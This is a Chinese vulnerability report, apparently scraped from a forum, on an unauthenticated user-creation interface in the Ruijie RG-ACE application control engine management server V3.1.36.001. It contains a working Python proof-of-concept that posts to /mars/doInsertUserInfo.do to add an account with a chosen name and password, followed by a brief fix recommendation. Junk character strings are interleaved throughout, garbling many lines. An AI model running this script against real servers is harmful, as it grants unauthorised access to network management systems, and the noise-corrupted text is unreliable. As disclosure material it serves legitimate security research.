锐捷应用控制引擎管理服务器(RG-ACE系列应用控制引擎管理服务器V3.1.36.001,官网的连接 http://www.ruijie.com.cn/service/down-search.aspx 显示是最新版)可以根据没有权限验证的接口直接增加用户,连接设备,查看设备信息和报表(权限相对于默认的admin比较低)- n$ B4 h9 Y- |$ }( X3 ]
! `# \) q+ a, [- h( _2 W
# V( Y) j, J9 L) P测试的具体版本是% C! ~# y$ t8 o! s8 x. X
产品名称: 锐捷应用控制引擎4 K4 c/ h2 \1 H
版本号: 3.1.36.001 TC
2 C- D5 U. F' m* P编译时间: 201104291730
7 q: {) r; H2 v8 q- ]1 z$ {: `
4 w, q1 h K/ V. S" k3 M4 ?; r: C# n* e5 W6 M
漏洞证明:
2 A3 }* M& }+ k7 V/ \5 A
7 n$ r1 X8 b/ U0 v6 e' b( P$ b Z
* _1 C7 ?! G7 u7 b" Y' j
0 r# c4 b0 S: e, t$ z
9 `* r4 \3 h; m7 ]: x
+ f9 g$ j; L- L: U. L9 m0 _
4 F f' T" e$ A4 N执行脚本
+ M) J6 f+ f$ y6 h5 E- N) m; o! l, s#! /usr/bin/env python
( J# @2 Q- l8 E! N1 d#coding=gbk
C( ~$ k! @7 a& C% g8 L1 ]#RG-ACE管理服务器 V3.1.36.001
1 N) ^) m, d2 ?% p# Q% S8 timport urllib2, urllib,cookielib E7 M6 e1 w9 O3 c
url=r'http://IP/mars/doInsertUserInfo.do' #IP改为装这个软件的IP0 c/ N2 i& C/ c' D) p0 D
opener=urllib2.build_opener(urllib2.HTTPCookieProcessor(cookielib.CookieJar())), l% x& N! U1 [( Z3 J! x
opener.addheaders = [('User-agent','Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)')]
# [% S& @& S% B/ L' @post=(("event","userManager.doInsertUserInfo"),% p7 m3 O( S8 L- C
("useractionname","addButtonValue"),, a- ]& u3 g" h3 c2 o
("useropermanager","userManager"),, M$ Y+ n1 [+ \, u! r( b) @
("userName","t"), #######账号自己加
. @! m; w1 D: g( i# I$ z( m("pwd","aaaaaa"),######密码自己加5 s8 w$ m# ?* j
("trueName","ad"),. F+ v4 s# I4 A- O" h' W5 c) A5 l) g
("email",""),. M. i& @: x/ k; |
("mobilePhone",""),
$ \- b' i f, J* e0 e* y4 u4 B("officePhone",""),
' Q% P5 P# t. Y. Z7 V! k' w("addr",""),
/ w0 A) r; y+ d' o$ S' p("submit","确定"))0 ^* Y8 }7 k( Y! C
urllib2.install_opener(opener)
% O1 ~! e- Y7 U. C5 t0 ?) k/ pp=urllib2.urlopen(url, urllib.urlencode(post)).read()9 X/ D. ~/ M" N" `3 I+ v$ \( R
print "Done"
" Z& ]/ k' G5 W1 f, Z
! K: t. K/ c' w/ h t$ d登录,连接设备
G9 ^6 @' I4 V( Q/ G$ T/ Z( O* S% }: I! Z$ L ?9 E- O; V
6 u* m' @& j( k' J2 W
1 u' l+ t! r1 d- K. D. z
% }, T7 F8 Y0 z3 O; R$ I. ~9 S1 e
默认的管理员admin权限更大点
. @$ T: X6 M- W9 I
t! r* H% {; c5 X( a' Y) M5 E; Z9 ?4 w% j# m8 ?/ u4 E% z, r, G1 K
# j2 A' ?; b1 _1 L/ T * `- q, L" {; n, n' O9 i" G8 F
8 d- s0 c' e$ ]1 e! M% T6 I修复方案:2 O1 A/ a" @7 j" K) n
加强对接口的权限验证
p' X% G; t9 G& U. p( N4 y
/ c! l& f! N( x3 P% x2 u8 X |